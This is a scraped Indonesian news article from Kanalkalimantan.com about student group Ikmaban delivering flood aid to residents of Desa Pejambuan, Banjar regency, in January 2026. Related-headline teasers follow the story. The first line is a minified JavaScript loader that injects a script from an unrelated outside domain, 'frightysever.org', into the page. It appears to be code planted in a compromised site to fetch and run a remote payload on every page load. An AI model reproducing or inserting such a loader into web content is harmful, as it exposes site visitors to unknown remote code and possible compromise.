(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa Pejambuan, Kecamatan Sungaitabuk, Kabupaten Banjar.
Bantuan berupa paket sembako, air minum, popok bayi, selimut, bantal, makanan kucing, dan pembalut.
Penyaluran dilaksanakan Kamis-Jumat (8-9/1/2026) sebagai bentuk kepedulian sosial dan tanggung jawab moral mahasiswa terkait kondisi masyarakat yang terkena banjir.
Baca juga: Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir
Ketua Ikmaban, Muhammad Rianda mengatakan, kegiatan ini bertujuan membantu meringankan beban masyarakat terdampak banjir, khususnya dalam pemenuhan kebutuhan dasar.
“Kegiatan ini juga bertujuan menyuarakan kepedulian mahasiswa serta mendorong perhatian serius dari pemerintah terhadap persoalan banjir yang terus berulang,” ujarnya, Sabtu (10/1/2026).
Dipilihnya Desa Pejambuan lantaran daerah ini merupakan salah satu titik parah banjir yang terjadi setiap tahunnya.
Baca juga: Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa
“Wilayah ini membutuhkan perhatian lebih, tidak hanya dalam penanganan darurat, tetapi juga solusi jangka panjang dari pemerintah,” ungkap Riandi.
Kegiatan dimulai dengan koordinasi bersama aparat desa dan relawan setempat, kemudian pendataan warga terdampak. Setelah itu, dilakukan penyaluran bantuan secara langsung kepada masyarakat, serta dialog singkat untuk mendengar keluhan dan kondisi warga di lapangan.
Respon masyarakat pun sangat positif, terbukti mereka menyambut kegiatan ini dengan baik dan penuh antusias. Warga mengapresiasi langkah mahasiswa yang turun langsung ke lapangan, harapannya pemerintah juga lebih hadir dan serius akan penanganan banjir ini.
Baca juga: Banjir Rob di Tanjung Pagar 45 KK Terdampak
Ikmaban berharap bantuan ini dapat meringankan beban masyarakat sekaligus pengingat bagi pemerintah agar tidak hanya bersifat reaktif, tetapi melakukan evaluasi dan langkah konkret untuk mencegah banjir di masa mendatang.
“Mahasiswa berharap terbangun sinergi antara masyarakat, pemerintah, dan elemen sipil dalam penanggulangan bencana yang berkelanjutan,” pungkas Riandi. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
This website uses cookies.